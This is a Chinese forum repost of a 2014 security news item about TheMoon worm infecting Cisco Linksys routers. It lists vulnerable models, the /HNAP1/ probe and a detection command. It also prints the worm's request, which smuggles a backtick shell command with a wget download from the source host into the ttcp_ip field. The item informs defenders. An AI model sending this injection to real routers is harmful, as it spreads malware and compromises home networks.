搜索

[7799] 2014-02-16_CiscoLinksys路由器蠕虫TheMoon正在蔓延

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-17
2014-02-16_CiscoLinksys路由器蠕虫TheMoon正在蔓延 C i s c o   L i n k s y s 路 由 器 蠕 虫 T h e   M o o n 正 在 蔓 延 F r e e B u f   2 0 1 4 - 0 2 - 1 6 作 为 互 联 网 的 入 口 ， 家 用 路 由 器 越 来 越 被 业 界 所 重 视 。 路 由 器 更 加 智 能 了 ， 路 由 器 的 安 全 也 会 更 加 多 样 化 。 近 日 ， 国 外 安 全 研 究 者 发 布 L i n k s y s 路 由 器 蠕 虫 预 警 。 根 据 路 由 器 的 固 件 版 本 ， C i s c o   L i n k s y s   E 4 2 0 0 ,   E 3 2 0 0 ,   E 3 0 0 0 ,   E 2 5 0 0 ,   E 2 1 0 0 L ,   E 2 0 0 0 , E 1 5 5 0 ,   E 1 5 0 0 ,   E 1 2 0 0 ,   E 1 0 0 0 , E 9 0 0 等 型 号 存 在 被 蠕 虫 感 染 的 风 险 。 等 型 号 存 在 被 蠕 虫 感 染 的 风 险 。 这 个 蠕 虫 首 先 连 接 路 由 器 的 8 0 8 0 端 口 ， 请 求 “ / H N A P 1 / ” 这 个 路 径 。 l i n k s y s 路 由 器 会 返 回 一 个 包 含 路 由 器 特 性 和 固 件 版 本 的 x m l 文 档 。 < M o d e l N a m e > E 2 5 0 0 < / M o d e l N a m e > < F i r m w a r e V e r s i o n > 1 . 0 . 0 7   b u i l d   1 < / F i r m w a r e V e r s i o n > 这 是 E 2 5 0 0 型 号 返 回 的 固 件 相 关 信 息 。 之 后 ， 蠕 虫 会 发 送 一 个 特 定 的 请 求 到 存 在 漏 洞 的 路 由 器 ， 这 个 请 求 会 导 致 路 由 器 执 行 一 段 s h e l l 脚 本 ， 从 而 感 染 蠕 虫 。 第 二 次 的 请 求 如 下 ： s u b m i t _ b u t t o n = & c h a n g e _ a c t i o n = & s u b m i t _ t y p e = & a c t i o n = & c o m m i t = 0 & t t c p _ n u m = 2 & t t c p _ s i z e = 2 & t t c p _ i p = - h ` c d   / t m p ; i f   [   !   - e   . L 2 6   ] ; t h e n   w g e t   h t t p : / / [ s o u r c e   I P ] : 1 9 3 / 0 R x . m i d ; f i ` & S t a r t E P I = 1 一 旦 被 蠕 虫 感 染 ， 路 由 器 就 会 扫 描 其 他 的 i p ， 这 个 蠕 虫 内 置 了 大 约 6 7 0 个 不 同 国 家 的 家 用 网 段 。 而 且 被 感 染 的 路 由 器 在 短 时 间 内 会 作 为 h t t p 服 务 器 供 其 他 被 感 染 的 路 由 器 下 载 蠕 虫 代 码 。 目 前 尚 不 清 楚 这 个 蠕 虫 网 络 是 否 存 在 命 令 和 控 制 频 道 。 当 前 它 的 行 为 仅 仅 是 传 播 。 研 究 者 在 蠕 虫 的 文 件 中 发 现 了 电 影 《 T h e   M o o n 》 的 相 关 图 片 ， 所 以 被 命 名 为 T h e   M o o n 。 可 以 通 过 以 下 命 令 来 检 测 自 己 的 路 由 器 是 否 存 在 漏 洞 ： e c h o   " G E T   / H N A P 1 /   H T T P / 1 . 1 r n H o s t :   t e s t r n r n "   |   n c   r o u t e r i p   8 0 8 0 如 果 或 得 了 x m l 格 式 的 返 回 数 据 ， 那 么 你 的 路 由 器 很 可 能 存 在 漏 洞 ， 有 被 蠕 虫 感 染 的 风 险 。
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理